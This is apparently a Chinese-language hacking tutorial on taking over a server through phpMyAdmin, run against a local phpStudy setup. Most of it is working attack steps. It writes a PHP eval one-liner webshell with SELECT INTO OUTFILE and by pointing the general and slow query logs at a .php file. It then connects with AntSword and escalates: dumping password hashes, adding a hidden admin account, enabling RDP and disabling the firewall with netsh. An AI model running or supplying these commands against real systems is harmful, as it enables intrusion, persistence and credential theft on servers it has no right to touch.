一、条件

  1. 能成功登录到phpMyAdmin里去
  2. 有读、写、执行的权限
  3. 知道网站的绝对路径

二、操作步骤

1、爆数据库安装路径

(1)SQL语句查询

SHOW GLOBAL VARIABLES LIKE "%datadir%";
select @@basedir;

img

因为phpstudy是集成环境,所以网站物理路径是D:\phpstudy_pro\WWW

(2)敏感文件

直接在url后面输入phpinfo.php,看看能不能读出这个文件,如果存在就会把网站的绝对路径显示出来,这样的情况特少,因为网站管理人员不可能把这个测试页面在互联网上面直接显示出来,他们或许会更改路径或许会设置目录访问权限;

(3)扫描网站

使用扫描工具对网站进行扫扫描;扫描一些phpinfo.php info.php php.php test.php等等;

(4)读取配置文件

Windows2003 IIS 6 C:\Windows/system32\inetsrv\metabase.xml
Win2008/2012 IIS 7.5 C:\Windows\System32\inetsrv\config\applicationHost.config
Nginx /etc/nginx/conf.d/vhost.conf /usr/local/etc/nginx/nginx.conf
Apache /etc/httpd/conf/httpd.conf/usr/local/apache2/conf/httpd.conf

2、查看secure_file_priv

在上面我们已经获知了网站默认的路径,这个时候我们肯定想插入一句话后门文件或者是导出shell。那如果我们需要使用以上两种思路中的一种必须满足一个前提条件secure_file_priv对应的值不能为空且必须为默认网站的路径,所以我们必须提前检测一下secure_file_priv的值。

secure_file_priv为null 表示不允许导入导出;

secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹;

secure_file_priv没有设置时,则表示没有任何限制;

SHOW VARIABLES LIKE "%secure_file_priv%";

img

img

从上图得知值为空,如果我们这时导入一句话,肯定会失败的

SELECT '<?php @eval($_POST[w01ke]);?>' INTO OUTFILE 'D:\\phpstudy_pro\\WWW\\w01ke.php';

img

如果要解决这个问题,我们可以通过下面2种方式:

  1. 将你要导入或导出的文件位置指定到你设置的路径里,也就是动态修改
SET GLOBAL secure_file_priv = "D:/phpstudy_pro/WWW";

img

  1. 由于不能动态修改,我们可以修改my.cnf里关于这个选项的配置,然后重启即可。

但平常都是黑盒测试,有没有其他方法呢,有

3、利用日志文件或备份文件来写入一句话

(1)日志文件

点击变量选项,搜索gen就会出来general_loggeneral_log_file这两个变量,general_log变量是指是否启动记录日志;而general_log_file指的是日志文件的路径,可以看到general_log变量的状态为OFF,故我们要修改为ONgeneral_log_file变量中的*.log的后缀我们改为*.php。拿完webshell记得要改回去哟。

img

① 开启日志

SET GLOBAL general_log = "ON";

② 修改日志文件保存的位置

SET GLOBAL general_log_file = "D:\\phpstudy_pro\\WWW\\w01ke.php";

w01ke.php的内容是日志文件,包括执行的SQL语句

③ 写入一句话

SELECT '<?php @eval($_POST[w01ke]);?>';

img

④ 查看修改后的信息(随便)

SHOW VARIABLES LIKE "%general%";

img

默认情况如下

img

(2)备份文件

① 开启备份日志

SET GLOBAL slow_query_log = "ON";

② 修改备份日志文件保存的位置

SET GLOBAL slow_query_log_file= "D:\\phpstudy_pro\\WWW\\w01ke2.php";

③ 写入一句话

备份的,根据其他师傅尝试,需要用延迟才能成功注入

SELECT 99999999999999999,'<?php @eval($_POST[w01ke2]);?>' OR sleep(11);

img

④ 查看修改后的信息(随便)

SHOW VARIABLES LIKE "%slow_query_log%";

img

默认情况下

img

4、蚁剑连接

img

5、提权

(1)抓取hash密码

上传抓取hash密码的工具,成功抓取到管理员密码:

img

(2)添加新用户到管理员组

在虚拟终端添加测试账号test$,并将用户添加到管理员组:

img

(3)开启3389端口

经查询主机未开启3389远程登陆功能,故上传开启3389的bat文件进行开启:

img

(4)关闭防火墙

netsh advfirewall set allprofiles state off

(5)远程连接

成功连接服务器,由于本机administrator没有设置密码,故只是拿自己的登陆名称进行测试,在实际站点测试的时候一般都有管理员密码,只不过有的服务器的登陆用户名会修改(遇到的情况有的特别变态,比如端口修改、用户名修改、防护软件等):

img

三、参考链接